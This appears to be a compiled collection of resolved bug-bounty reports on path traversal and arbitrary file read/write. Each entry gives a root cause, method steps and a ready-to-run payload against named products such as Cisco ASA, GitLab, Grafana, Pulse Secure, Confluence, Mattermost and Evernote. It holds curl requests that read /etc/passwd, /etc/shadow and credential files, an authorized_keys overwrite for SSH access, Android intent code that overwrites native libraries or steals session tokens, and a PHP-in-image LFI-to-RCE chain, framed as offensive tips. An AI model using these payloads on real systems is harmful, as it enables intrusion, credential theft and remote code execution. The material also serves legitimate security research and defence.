Cisco ASA/FTD WebVPN endpoint processes a directory-traversal sequence in the session token cookie, allowing an unauthenticated attacker to view/delete arbitrary files in the web-services filesystem (array index underflow, CVE-2020-3187).
Method
- Fingerprint the target: request /+CSCOE+/session_password.html; 200 OK = unpatched (endpoint removed in fixed builds), 404 = patched.
- Send the traversal via the token cookie to delete a file without auth.
- Deleting WebVPN Lua/source files can DoS the interface until reboot (non-destructive check preferred).
# Detection (non-destructive):
curl -kI https://TARGET/+CSCOE+/session_password.html # 200 => vulnerable
# Exploit (arbitrary file deletion via traversal in cookie):
curl -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://TARGET/+CSCOE+/session_password.html
Insight — Recon methodology: identify exposed appliances (Cisco ASA/FTD SSL-VPN) by certificate/interface, then map to known CVEs and confirm exploitability via a benign version-tell (a file/endpoint removed in the patch). Turn 'is it patched?' into a safe 200/404 oracle instead of firing the destructive payload.
Real-world example
Denylist/ignore bypass via path normalization (dot-slash and encoded traversal)
◆ Critical
Specimen #330724 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A static file server enforces its ignore/denylist by comparing the raw request path, but the filesystem/normalizer resolves ./ and %2e%2f, so a semantically-equivalent path that does not literally match the denylist still resolves to the protected file (CVE-2019-5415).
Method
- Confirm a file/dir is blocked (returns Not Found) by its exact path
- Insert /./ before the filename or URL-encode the slash/dot
- Request the normalized-equivalent path to read the ignored file or list the ignored directory
curl --path-as-is 'http://127.0.0.1:6060/dir/secret.txt' # Not Found (blocked)
curl --path-as-is 'http://127.0.0.1:6060/dir/./secret.txt' # leaks content
http://127.0.0.1:6060/dir/%2e%2fdir2/ # lists ignored dir
Insight — Any allow/denylist that matches on the pre-normalization path is bypassable. Try /./ , // , %2e%2f , %2f , trailing dots, and mixed encodings so the string differs from the blocked pattern but resolves to the same file. Same class of bug applies to WAF path rules, auth-by-path, and static-server ignore configs.
Real-world example
Arbitrary read + SSRF via JSON-schema-validator/open-uri misuse in project import
◆ Critical
Specimen #1132378 · gitlab · USD 16000 · 194 votes · resolved
Program gitlabSurface webChain file read -> .gitlab_shell_token -> internal API ->
Root cause
Misuse of a JSON schema validator during project import resolves a user-controlled reference through Ruby's open-uri, which reads local files (leaking ~250 bytes) and also fetches internal URLs (SSRF).
Method
- Craft a malicious import.tar.gz
- Import it via the 'GitLab export' import feature
- Wait for the import to finish
- GET /api/v4/projects/PROJECT_ID/import and read the leaked file bytes in the response
Insight — Import/validation code that resolves external refs via open-uri is simultaneously an arbitrary-read and an SSRF sink; check the import status/error endpoint for reflected file bytes.
Real-world example
Arbitrary file overwrite via controllable output path
◆ Critical
Specimen #2733190 · mod_supply_chain_vdp · none · 55 votes · resolved
Program mod_supply_chain_vdpSurface web
Root cause
A server-side file-generation feature let the requester control the destination path where a generated file is written; supplying a traversal/absolute path overwrites arbitrary files inside or outside the web root with empty content.
Method
- Find a feature that writes/generates a file to a server path (the 'Save X to:' field)
- Change the destination filename to an existing target (e.g. index.php) or a traversal path
- Run the job that performs the write
- Request the targeted file and confirm it was overwritten (blank)
Insight — Any 'export/generate/save to path' feature where the output filename is client-controlled is an arbitrary-write primitive. Point it at existing app files (defacement/DoS) or config; combine with a controllable-content sink for RCE. (Report heavily redacted; primitive is the transferable lesson.)
Real-world example
Zip filename traversal + '#' extension truncation launches apps (LINE Mac)
◆ High
Specimen #727727 · line · awarded · 174 votes · resolved
Program lineSurface desktopChain upload .terminal via Keep -> path-traversal open -> coTag file-upload
Root cause
The LINE Mac client maps a received file's name to a local open path without normalization, so a filename with '../' traversal plus a '#' that truncates the enforced extension resolves to a preinstalled application path and launches it when opened.
Method
- Send the victim a file whose name is a path-traversal payload ending in '#.zip'
- Victim opens it in the Mac app; the referenced /Applications app (or ~/Downloads executable) is executed
- (Chain) First upload a non-blacklisted .terminal file via Keep and share it, then trigger it with the traversal open
..%2f..%2f..%2f..%2f..%2f..%2f..%2fApplications%2fCalculator.app#.zip
Insight — Desktop chat/file clients that resolve an incoming filename to a local open/launch path are traversal + app-launch sinks; a '#' fragment (or null byte) can strip an enforced extension check.
Real-world example
Arbitrary file write -> RCE via inspector live_reload path traversal (Mozilla VPN)
◆ High
Specimen #2995025 · mozilla · USD 6000 · 170 votes · resolved
Program mozillaSurface desktopChain arbitrary file write -> DLL/Startup -> RCE
Root cause
The inspector's live_reload command builds the temp download path by concatenating a fixed folder with the URL's filename (path.fileName()) without sanitization, so '..\' in the remote path writes the downloaded file to an arbitrary location.
Method
- Enable developer mode + 'Use Staging Servers'
- Lure the victim to open an attacker HTML page that opens ws://localhost:8765 and sends a live_reload command with a traversal URL
- The downloaded file is written outside the intended hot_reload directory (e.g. a DLL or Startup entry) -> RCE
live_reload http://ATTACKER/..\..\traversal_poc.dll
Insight — Local dev/inspector websockets bound to localhost are reachable from any web page and are RCE surface; a download whose on-disk name comes from a URL is a write primitive when path separators aren't stripped.
Real-world example
Attacker page makes Burp crawler write file via 'accept' attribute traversal
◆ High
Specimen #3712279 · portswigger · USD 5000 · 154 votes · resolved
Program portswiggerSurface desktopChain file write to Startup -> code execution at next logonTag file-upload
Root cause
Burp's browser-powered crawler builds a local upload file for <input type=file> using the page-controlled 'accept' attribute as the filename, and Path.resolve() with traversal tokens escapes the temp directory, writing attacker content to arbitrary user-writable local paths.
Method
- Host a page with a file input whose value is the file content and whose accept attribute is a traversal path into the Startup folder
- Crawl the page with Burp Scanner using Burp's browser
- A .bat is written to the current user's Startup folder
- At next logon the .bat runs -> delayed code execution
<input type="file" name="upload" value="calc.exe" accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
Insight — Security tools that render untrusted pages are targets; any client that derives a local filename from page attributes (accept/name/filename) is a write-traversal sink -- Path.resolve(untrusted) does not confine.
Real-world example
Unnormalized static/CMS route reads system files as root
◆ High
Specimen #2424815 · portswigger · awarded · 146 votes · resolved
Program portswiggerSurface web
Root cause
A static/CMS file-serving route concatenates the URL path onto the filesystem root without normalization, so an extra leading '/' (or '../') reads arbitrary server files, including /etc/shadow, source, and .git/config.
Method
- Find a static/asset/CMS file route
- Request it with an absolute or '../' path to a system or source file
curl -kis "https://TARGET/cms/audioitems//etc/shadow"
Insight — Unnormalized static-asset/CMS routes are quick wins: try '//etc/passwd', '/assets/../<sourcefile>', '.git/config' and framework config files -- these handlers often run as a privileged user.
Real-world example
Path traversal in package-registry upload -> overwrite authorized_keys -> RCE
◆ High
Specimen #733072 · gitlab · USD 12000 · 141 votes · resolved
Program gitlabSurface apiChain authenticated Maven PUT -> path traversal write -> ~giTag file-upload
Root cause
The Maven package registry API uses the (URL-encoded) path segment to build a filesystem write path without normalizing traversal sequences, so encoded ../ lets an authenticated user write an uploaded file anywhere writable by the git user.
Method
- Enable/confirm the package registry on a project.
- PUT to the Maven upload endpoint with an encoded ../ chain in the path pointing at ~git/.ssh/authorized_keys.
- Send your SSH public key as the request body (use --path-as-is so the client doesn't collapse the traversal).
- ssh git@target for a shell.
curl -H "Private-Token: $TOKEN" --path-as-is \
'http://TARGET/api/v4/projects/2/packages/maven/a%2fb%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys' \
-XPUT --data-binary @/home/attacker/.ssh/id_rsa.pub
Insight — On any file-upload/package API, test URL-encoded traversal (%2e%2e%2f) in the path with --path-as-is. Arbitrary file write against a service account almost always escalates to RCE by overwriting ~/.ssh/authorized_keys (or a cron/config file). Same impact as git flag injection but a simpler, distinct root cause.
Real-world example
Grafana plugin static handler %2f-encoded traversal (unauth arbitrary read)
◆ High
Specimen #1415820 · aiven_ltd · USD 1000 · 105 votes · resolved
Program aiven_ltdSurface web
Root cause
Grafana 8.x's per-plugin static handler (/public/plugins/<id>/) fails to sanitize URL-encoded traversal sequences, allowing unauthenticated arbitrary local file read (CVE-2021-43798).
Method
- Identify any installed plugin id (e.g. mysql)
- Request /public/plugins/<id>/ followed by a %2f-encoded '../' chain and the target file
curl --path-as-is "https://TARGET/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
Insight — Static/per-plugin routes with a path segment are prime traversal targets; use %2F when the framework decodes AFTER routing. Grab conf/defaults.ini for admin secrets.
Real-world example
Nuget registry names stored file from .nuspec version field (traversal write)
◆ High
Specimen #822262 · gitlab · USD 12000 · 87 votes · resolved
Program gitlabSurface apiChain arbitrary .nupkg write + Gitaly race -> arbitrary file reTag file-upload
Root cause
GitLab's Nuget metadata-extraction service builds the stored package filename from the id/version fields of the uploaded .nuspec XML without sanitization, so a '../' in <version> writes a .nupkg to an arbitrary filesystem path (CVE-2020-12448).
Method
- Craft dummy.nuspec whose <version> is a traversal payload
- Zip it as dummy.nupkg
- PUT it to /api/v4/projects/{id}/packages/nuget/ to create the file at the traversed path
- Combine with a Gitaly race to convert arbitrary write into arbitrary read
<?xml version="1.0" encoding="utf-8"?>
<package xmlns="http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">
<metadata>
<id>DummyProject.DummyPackage</id>
<version>../../../../../nyangawa</version>
</metadata>
</package>
Insight — Package-registry uploads that build filenames from attacker-controlled manifest fields (nuspec id/version, package.json name) are write-traversal sinks; XML/metadata-derived filenames need normalization.
Real-world example
page_caching writes cache from URL-decoded path -> overwrite .erb -> RCE (Rails)
◆ High
Specimen #519220 · rails · USD 1000 · 80 votes · resolved
Program railsSurface webChain file write -> overwrite ERB view -> code execution
Root cause
actionpack-page_caching builds the on-disk cache path from the URL-decoded request path (URI unescape) with no traversal check, so encoded '../' writes the cached response outside public/; overwriting a template yields RCE (CVE-2020-8159).
Method
- Enable page caching (caches_page) on an action
- Store a record whose rendered content is the ERB payload
- Request with encoded traversal to write the cache outside public/
- Overwrite a .text.erb view, then trigger a render of it -> code execution
curl "http://TARGET/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
Insight — Response/page caches that derive the on-disk name from the URL are write primitives; if you also control cached content and can overwrite a template/config, escalate to RCE.
Real-world example
Exposed Jolokia DiagnosticCommand LFI via '!' separator
◆ High
Specimen #2778380 · deptofdefense · none · 69 votes · resolved
Program deptofdefenseSurface web
Root cause
An exposed Jolokia DiagnosticCommand endpoint (compilerDirectivesAdd) passes the URL path into a file read, and Jolokia's '!' escape character functions as a path separator, giving unauthenticated arbitrary file read.
Method
- Locate /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/
- Append the target path using '!' before each path segment
https://TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
Insight — Exposed Jolokia/JMX endpoints are file-read (and worse) surface; Jolokia uses '!' to escape '/' inside MBean args, so use '!' to smuggle absolute paths past routing.
Real-world example
Node.js permission-model bypass by monkey-patching path sanitization internals
◆ High
Specimen #2434811 · ibb · USD 2430 · 67 votes · resolved
Program ibbSurface otherChain permission-model bypass -> arbitrary file read/write
Root cause
Node's experimental permission model sanitizes fs paths with path.resolve() then re-encodes the result via Buffer.from(); userland can monkey-patch the internals it relies on (Buffer.prototype.utf8Write) to rewrite the resolved path AFTER the check, defeating traversal protection (CVE-2024-21896).
Method
- Override Buffer.prototype.utf8Write so it rewrites the resolved path back into a traversal
- Call fs.readFileSync with a TextEncoder-encoded path outside the allowed dir
- File outside --allow-fs-read is read
Buffer.prototype.utf8Write = ((w) => function (str, ...args) {
return w.apply(this, [str.replace(/^\/exploit/, '/tmp/..'), ...args]);
})(Buffer.prototype.utf8Write);
fs.readFileSync(new TextEncoder().encode('/exploit/etc/passwd'))
Insight — Sandbox/permission checks that sanitize a value then re-serialize it through replaceable primitives are bypassable. Auditing a JS sandbox: hunt for post-check transforms using patchable globals -- Buffer.from, path.resolve, and non-Buffer Uint8Array paths were each a distinct bypass.
Real-world example
Android exported activity + content-provider display_name traversal -> native lib overwrite
◆ High
Specimen #1115864 · mattermost · awarded · 66 votes · resolved
Program mattermostSurface mobile-androidChain Malicious app -> ACTION_SEND to exported ShareActivity -&
Root cause
Mattermost's exported ShareActivity saved shared files using the untrusted DISPLAY_NAME from the sending content provider; a name like ../../lib-main/libyoga.so traverses out of the cache dir and overwrites a loaded native library, executing on next launch.
Method
- Build a malicious app with an exported ContentProvider returning a _display_name of ../../lib-main/libyoga.so and a malicious .so via openFile
- Send an ACTION_SEND intent to com.mattermost.share.ShareActivity with that content:// URI
- Mattermost writes the file using the traversed name, overwriting libyoga.so
- On next launch the malicious library loads -> code execution in the victim app
Intent i=new Intent(Intent.ACTION_SEND);
i.setClassName("com.mattermost.rn","com.mattermost.share.ShareActivity");
i.putExtra(Intent.EXTRA_STREAM,Uri.parse("content://com.evil/?path=/data/data/com.evil/libevil.so&name=../../lib-main/libyoga.so"));
i.setType("application/*");startActivity(i);
// EvilContentProvider.query returns _display_name = name param; openFile returns path param
Insight — On Android, any exported component that persists an incoming file using a provider-supplied DISPLAY_NAME is path-traversable - the sender fully controls that string. Overwriting a native .so or a dex/config in the app's data dir turns file-write into persistent code execution.
Real-world example
Path truncation from undersized buffer -> extension confusion RCE
◆ High
Specimen #544096 · valve · USD 2500 · 60 votes · resolved
Program valveSurface desktopChain truncated path -> ShellExecute open -> WSH runs attack
Root cause
A command handler copied a material path into a 256-byte buffer while Windows MAX_PATH is 260; the truncation let a crafted path resolve to a file of a different, executable extension that was then handed to ShellExecute('open').
Method
- Place a crafted file (chosen so truncation lands on a .js) in the game download dir
- Trigger the mat_crosshair_edit command which builds the path in a 256-byte buffer
- Truncation drops the .vmt tail; ShellExecute opens the .js via Windows Script Host
mat_crosshair_edit // buffer[256] < MAX_PATH(260) => .vmt path truncates to attacker .js -> WSH executes
Insight — Whenever a fixed buffer smaller than MAX_PATH holds a path later passed to an OS 'open'/exec, look for truncation that changes the effective extension; .js/.hta map to script hosts and often dodge download filters.
Real-world example
Confluence Widget Connector CVE-2019-3396 file:// LFI/RCE
◆ High
Specimen #538771 · deptofdefense · none · 58 votes · resolved
Program deptofdefenseSurface webChain LFI (file:// _template) -> Velocity SSTI -> RCE
Root cause
The Widget Connector macro preview endpoint passes an attacker-controlled _template value into a Velocity template load without restriction; a file:// (or traversal) _template loads arbitrary local files (and can be escalated to RCE via SSTI).
Method
- Fingerprint Confluence (rest/tinymce, /wiki, X-Confluence headers).
- POST to the macro preview endpoint with a widget macro whose _template param points at a local file via file://../.
- Read the leaked file / escalate to Velocity SSTI for code execution.
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: TARGET
Content-Type: application/json
{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=wHEHYJpCkpg","width":"300","height":"200","_template":"file://../"}}}
Insight — When a template/render parameter accepts a URI scheme, test file:// and traversal before anything else — a template loader is a direct LFI sink and often a Velocity/FreeMarker SSTI-to-RCE sink. n-day CVEs like this survive for months on large orgs (DoD); always version-check Confluence.
Real-world example
protodump writes files via protobuf go_package option in analyzed binary
◆ High
Specimen #3384150 · arkadiyt-projects · none · 56 votes · resolved
Program arkadiyt-projectsSurface desktopChain malicious artifact -> tool writes attacker file -> loc
Root cause
protodump derives the output filename from the go_package option embedded in a target binary's protobuf descriptor without sanitization, so a crafted binary makes the tool write extracted .proto files to arbitrary paths on the analyst's machine.
Method
- Craft a binary/proto whose go_package option is a traversal path plus ';name'
- Publish/share the binary
- When a user runs protodump on it, the extracted .proto is written outside the output dir, overwriting files
option go_package = "../../../tmp/pwned;exploit";
Insight — Offensive/analysis tooling that trusts metadata inside the artifact it processes (proto options, archive entry names, tags, headers) is a write-traversal target; sanitize any output path derived from untrusted input files.
Real-world example
git argument (flag) injection via 'commit' param -> arbitrary file write -> RCE (Phabricator)
◆ High
Specimen #1070247 · phabricator · awarded · 54 votes · resolved
Program phabricatorSurface apiChain flag injection -> arbitrary file write -> overwrite pr
Root cause
The Diffusion 'commit' parameter is passed unvalidated into a 'git log' command line, so a value beginning with '--' injects git flags such as --output=PATH, writing git output to an attacker-chosen file (escalating to RCE by overwriting a git hook).
Method
- Generate an API token; create a repo with commits
- Call diffusion.internal.gitrawdiffquery with commit=--output=/path to write git output to that path
- Craft a commit whose changed filename embeds a shell payload and use it to overwrite a pre-receive hook -> RCE on next hook run
curl http://TARGET/api/diffusion.internal.gitrawdiffquery -d api.token=TOKEN -d commit=--output%3D/tmp/qqq -d repository=R2
Insight — Any user value that reaches a git/CLI invocation is an argument-injection sink -- flags like --output / --upload-pack become file-write or exec primitives; validate that arguments do not start with '-' (use '--' terminator).
Real-world example
Arbitrary file read via symlink in restored backup tar
◆ High
Specimen #213558 · discourse · 512 · 52 votes · resolved
Program discourseSurface webChain malicious archive upload -> symlink extraction -> arbiTag file-upload
Root cause
The admin backup/restore feature extracts an uploaded tar into the uploads directory without rejecting symlinks; a symlink in the archive pointing at an arbitrary path is preserved on extraction and then served, yielding read of any file the process can access.
Method
- Create a normal backup and extract it locally.
- Add a symlink inside the uploads path of the archive pointing at the target file (e.g. /etc/passwd).
- Repack as tar.gz, upload, and run Restore from Backup.
- Browse to the served upload URL to read the symlinked file's contents.
ln -s /etc/passwd files/uploads/default/original/1X/7ad2e8f5...png
tar czf evil.tar.gz files/
# upload + restore, then GET /uploads/default/original/1X/7ad2e8f5...png
Insight — Any feature that extracts a user-supplied archive (backup restore, import, theme/plugin upload) is a symlink/zip-slip file-read/write primitive. Test tar/zip entries that are symlinks or use ../ traversal; extraction that preserves them turns import into arbitrary file read.
Real-world example
Re-enabling a disabled Asciidoctor include via counter attribute
◆ High
Specimen #1098793 · gitlab · awarded · 41 votes · resolved
Program gitlabSurface webChain Arbitrary file read/write -> potential RCETag file-upload
Root cause
GitLab disabled kroki-plantuml-include by setting the attribute off, but Asciidoctor's counter: macro can reassign that same attribute at render time, re-enabling the include and yielding arbitrary file read/write via the diagram include.
Method
- Create a wiki page in asciidoctor format.
- Use {counter:kroki-plantuml-include:/etc/passwd} to set the include target while re-enabling the attribute.
- Render, grab the base64 diagram URL, and inflate/base64-decode it to recover the file content.
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
BlockProcessor <|-- {counter:kroki-plantuml-include}
....
Insight — A feature disabled by clearing a config attribute can be re-enabled if the templating/markup language lets user input set attributes (counter:, set:, ifeval). When a sink is 'turned off' by an attribute, look for an in-language primitive that re-sets it.
Real-world example
Zip-extract app: entry name + 'directory' param traversal extracts PHP into webroot -> RCE (Nextcloud)
◆ High
Specimen #765291 · nextcloud · none · 40 votes · resolved
Program nextcloudSurface webChain extract PHP into app dir -> include/execute -> RCE as Tag file-upload
Root cause
The Nextcloud Extract app validates neither the archive entry name nor the target directory, so both the 'nameOfFile' and 'directory' parameters accept '../', letting an attacker extract a zip's PHP file into the application directory -> RCE.
Method
- Upload a zip containing a malicious PHP file (e.g. a modified App.php)
- Call extractHere.php with a 'directory' param that traverses into apps/files/lib
- Request a page to trigger the planted PHP with a command parameter
nameOfFile=../../../../../../mnt/ncdata/normaluser/files/nextcloud-shell.zip&directory=/../../../../var/www/nextcloud/apps/files/lib&external=0
Insight — Archive-extraction endpoints are zip-slip/traversal sinks in BOTH the entry name and the destination path; extracting into the webroot/app dir yields RCE.
Real-world example
Windows reserved device names bypass path.normalize() guard
◆ High
Specimen #3160912 · nodejs · none · 35 votes · resolved
Program nodejsSurface otherTag file-upload
Root cause
Windows reserved device names (CON, PRN, AUX, NUL, etc.) are handled specially by the OS and slip through path.join/normalize traversal-protection logic, an incomplete fix of CVE-2025-23084.
Method
- On Windows, feed reserved device names into a path built with path.join/normalize
- Normalization does not neutralize the device-name semantics
- Path resolves to a device / unexpected location, bypassing the traversal guard
path.join(base, 'CON')
path.join(base, 'PRN')
path.join(base, 'AUX')
Insight — On Windows targets, add reserved device names (CON, PRN, AUX, NUL, COM1-9, LPT1-9) and trailing dot/space tricks to your traversal wordlist - normalization routines written for POSIX often miss them.
Real-world example
Node.js permission-model bypass via chained relative symlinks
◆ High
Specimen #3417819 · nodejs · none · 34 votes · resolved
Program nodejsSurface other
Root cause
Node's --allow-fs-read/--allow-fs-write permission model resolves/validates paths in a way that can be defeated with crafted relative symlinks: chaining directories and symlinks lets a script authorized only for the current directory resolve to a path outside it, escaping the allowlist (CVE-2025-55130).
Method
- Run target under Node permission model granted only the current dir (--allow-fs-read=./)
- Create a chain of directories and relative symlinks that ultimately point outside the allowed path
- Access via the symlink chain; the resolved real path escapes the allowlist
- Read/write arbitrary files
# conceptual: symlink chain escaping --allow-fs-read=./
ln -s ../../etc/passwd ./a/link # chained through intermediate dirs so canonicalization lands outside allowed root
Insight — Sandbox/permission models that check the requested path but follow symlinks at access time are TOCTOU/canonicalization-bypassable. Always test allowlist boundaries with symlink chains and relative traversal, not just literal ../.
Real-world example
Exported activity path traversal + symlink to steal Android private files
◆ High
Specimen #288955 · IRCCloud · awarded · 31 votes · resolved
Program IRCCloudSurface mobile-androidChain Malicious app -> exported activity file copy -> encodeTag account-takeover
Root cause
IRCCloud's exported ShareChooserActivity copied a caller-supplied STREAM Uri into its cache using getLastPathSegment(), which URL-decodes the segment; an attacker encodes ../ sequences and points them (via a symlink they created) at the app's shared_prefs to exfiltrate the session token.
Method
- Malicious app builds a deep dir under its own data dir and creates a symlink to /data/data/com.irccloud.android/shared_prefs/prefs.xml
- Craft a file:// STREAM Uri whose last path segment is URL-encoded traversal (..%2F..%2F..) resolving through the symlink
- Send it via Intent to the exported com.irccloud.android.activity.ShareChooserActivity
- The app decodes the segment, copies the linked file into its cache; harvest tokens from the copied file
String zhk = "..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml";
// symlink -> /data/data/com.irccloud.android/shared_prefs/prefs.xml
Uri uri = Uri.parse("file://" + appDir + "/x/x/x/x/" + zhk);
Intent i = new Intent();
i.setClassName("com.irccloud.android","com.irccloud.android.activity.ShareChooserActivity");
i.putExtra("android.intent.extra.STREAM", uri);
startActivity(i);
Insight — When an exported component derives a destination/filename from an untrusted Uri via getLastPathSegment() (which decodes %2F), URL-encoded traversal bypasses naive checks; combine with an attacker-created symlink to reach files outside the intended dir. Test exported share/upload components with encoded ../ and symlinks.
Real-world example
Backslash path traversal bypasses forward-slash filters
◆ High
Specimen #260420 · ui · awarded · 31 votes · resolved
Program uiSurface webTag file-upload
Root cause
A web server (Node/Express here) normalizes or blocks ../ but treats backslash differently, so ..\..\ sequences traverse the filesystem on the backend.
Method
- Send a raw request with backslash traversal in the path
- Server maps ..\ to parent dirs and returns files outside webroot
GET /..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
Host: TARGET
# or: curl "https://TARGET/..\..\..\etc\passwd"
Insight — When %2f/../ is filtered, try backslashes (raw \, %5c, ..%5c). Many servers and libraries only sanitize forward slashes. Especially effective against Node/Express static handlers and Windows targets.
Real-world example
Pulse Secure CVE-2019-11510 pre-auth file read -> RCE chain
◆ High
Specimen #696276 · deptofdefense · awarded · 31 votes · resolved
Program deptofdefenseSurface networkChain pre-auth file read -> read cleartext creds -> VPN authTag account-takeover
Root cause
Pulse Secure SSL VPN mishandles crafted paths containing a benign segment plus ../ so an unauthenticated attacker reads arbitrary files; stored cleartext credentials then enable auth + a post-auth command injection for RCE.
Method
- Send curl with --path-as-is and a dana-na/.. traversal to read /etc/passwd and the cleartext creds file
- Read stored plaintext VPN credentials
- Authenticate to the VPN with the recovered creds
- Exploit CVE-2019-11539 post-auth command injection for RCE as root
curl -i -k --path-as-is https://TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
Insight — A read-only traversal becomes critical when the appliance stores credentials in cleartext - always pull the config/creds file, not just /etc/passwd. The trailing ?/dana/... query re-satisfies the app's expected suffix while the ../ escapes.
Real-world example
Apache mod_rewrite substitution first-segment maps to filesystem (CVE-2024-38475 + 2.4.60 cluster)
◆ High
Specimen #2585378 · ibb · USD 4920 · 30 votes · resolved
Program ibbSurface webChain crafted URL -> mod_rewrite maps to fs/proxy -> source
Root cause
Improper escaping/encoding handling in mod_rewrite (2.4.0-2.4.59) let attacker-influenced backreferences/variables used as the first segment of a substitution, or encoded %3F/%2F, map URLs to filesystem locations that are servable but not intended to be reachable - yielding source disclosure, execution of scripts, or auth/proxy bypass. Fixed in 2.4.60 (opt-back-in flags UnsafePrefixStat / UnsafeAllow3F).
Method
- Find a RewriteRule that substitutes a user-controlled capture as the first path segment
- Supply input (or encoded %3F/%2F) that resolves to a sensitive filesystem path or CGI source
- Retrieve source / execute the script / reach a restricted backend
# RewriteRule ^(.*) $1 with attacker-controlled $1 -> maps to fs path
GET /somepath%3Fname=... (encoded ? in backreference) HTTP/1.1
Insight — Audit RewriteRules where a capture/variable is the leading segment of the target, and probe encoded question-mark (%3F) and slash (%2F) in URLs against Apache <2.4.60; upgrade or add UnsafePrefixStat/UnsafeAllow3F only after constraining the rule. The same 2.4.60 cluster also broke mod_proxy encoding (auth bypass) and proxy-handler substitution (SSRF).
Real-world example
Evernote Android 2-click RCE via Content-Disposition filename traversal
◆ High
Specimen #1377748 · evernote · awarded · 28 votes · resolved
Program evernoteSurface mobile-androidChain malicious attachment name -> path traversal on download -Tag file-upload
Root cause
The app derives an attachment's save path from the server-controlled filename (Content-Disposition / attachment rename) without sanitizing ../, so a downloaded attachment can be written over a native library path and loaded as code.
Method
- Attach a malicious native library to a shared note
- Rename the attachment to ../../../lib-1/libjnigraphics.so so the filename carries traversal
- Share the note link with the victim
- Victim opens the note (click 1) and taps the attachment (click 2)
- Attachment is written to /data/data/com.evernote/lib-1/libjnigraphics.so instead of the cache preview dir
- Reopening the app loads the planted .so -> code execution (reverse shell on nc 127.0.0.1 6666)
# attachment rename / Content-Disposition filename:
../../../lib-1/libjnigraphics.so
Insight — Never trust filenames from server responses (Content-Disposition) or from content:// providers (_display_name) on mobile: if the download path is built from them, ../ lets you overwrite a native lib and turn a download into RCE. Two separate root causes (provider vs header) needed two fixes.
Real-world example
Local file read via privileged browser scheme from file:// origin
◆ High
Specimen #390362 · brave · awarded · 24 votes · resolved
Program braveSurface desktopTag file-upload
Root cause
file:// and the browser's internal scheme (brave://) are both treated as local/same-trust origins, so a locally-opened HTML file can pull arbitrary local files through the internal scheme via HTML Imports.
Method
- Get victim to open an attacker HTML file locally (file:// context)
- Use <link rel=import href='brave:///etc/passwd'> to load a local file as a document
- Read link.import contents and exfiltrate
<link id="link" href="brave:///etc/passwd" rel="import" as="document" onload="show()" />
<script>function show(){alert(link.import.querySelector('body').innerHTML)}</script>
Insight — In Electron/Chromium-derived apps, audit whether custom app:// / internal schemes share origin trust with file://. HTML Imports (and fetch/XHR) across two 'local' origins is a common LFR primitive; a web-context fix often misses the file:// context.
Real-world example
gem SRV lookup on file:// sources allows path-prefix injection
◆ High
Specimen #411519 · rubygems · USD 500 · 22 votes · resolved
Program rubygemsSurface otherChain spoofed SRV -> file:// path prefix rewrite -> maliciouTag supply-chain
Root cause
RubyGems issues a DNS SRV query (_rubygems._tcp.<host>) for every source, including file:// URLs whose host is empty; api_endpoint lets an SRV response add a prefix to the path, so a spoofed SRV reply reroutes a local file:// source to an attacker-writable directory.
Method
- Victim configures a file:// gem source (e.g. bundler gemspecs)
- Attacker (shares FS, can spoof DNS) plants a malicious gem under /tmp/attack/<victim path>
- Attacker answers the _rubygems._tcp. SRV query with target 'xxx./tmp/attack'
- api_endpoint rewrites file:///home/victim/repo -> file://xxx./tmp/attack/home/victim/repo
- Victim fetches the attacker's gem instead
# scapy SRV response payload
TARGET = b"xxx./tmp/attack" # trailing '.' passes the subdomain check; prefix is injected into the path
DNSRRSRV(type=33, rrname=q.qname, ttl=30, priority=0, weight=1, port=80, target=TARGET)
Insight — Package managers that transform source URLs via network lookups (SRV/redirects) can have the resolved *path* influenced, not just the host - a supply-chain traversal. Audit any code that reuses HTTP-URL rewriting logic for file:// / s3:// schemes.
Real-world example
Concrete CMS authed path traversal (bFilename) -> PHP LFI RCE
◆ High
Specimen #1102067 · concretecms · none · 18 votes · resolved
Program concretecmsSurface webChain image upload (PHP payload) -> path traversal in include pTag file-upload
Root cause
The bFilename parameter of the block-design submit endpoint is included by PHP using a relative path without sanitization, so ../ lets an authenticated editor include a previously uploaded image containing PHP -> code execution (CVE-2021-40097).
Method
- As an authed user with page-edit rights, upload a PNG whose tail contains PHP (e.g. <?php system('uname -a');?>) via any attachment upload
- Note the stored relative path of the upload
- In the Edit Layout Design request, set bFilename to a ../ path pointing at the uploaded PNG
- Reload the edited page; the PHP inside the PNG executes
bFilename=../../../../application/files/9316/1312/5391/png-transparent.png
# uploaded file tail: <?php system("uname -a");?>
Insight — Classic LFI-to-RCE via a file-include sink (PHP include) fed by a traversal parameter: get any writable upload (image comment, avatar) with PHP appended, then point the include param at it with ../. Upload path + include param is the combo to hunt in CMSes.
Real-world example
Arbitrary file download via file.ashx?path= reads web.config and source
◆ High
Specimen #685344 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain arbitrary file read -> web.config DB credentials + source
Root cause
A file-serving handler takes a user-controlled path parameter and returns the file without restricting it to a safe directory, allowing download of web.config (DB credentials) and server-side source.
Method
- Locate a download/view endpoint with a path/file parameter (e.g. file.ashx?path=).
- Request configuration files: path=web.config -> DB connection strings/creds.
- Request source: path=index.aspx (or default.aspx, Global.asax) to read server-side code.
https://TARGET/file.ashx?path=web.config
https://TARGET/file.ashx?path=index.aspx
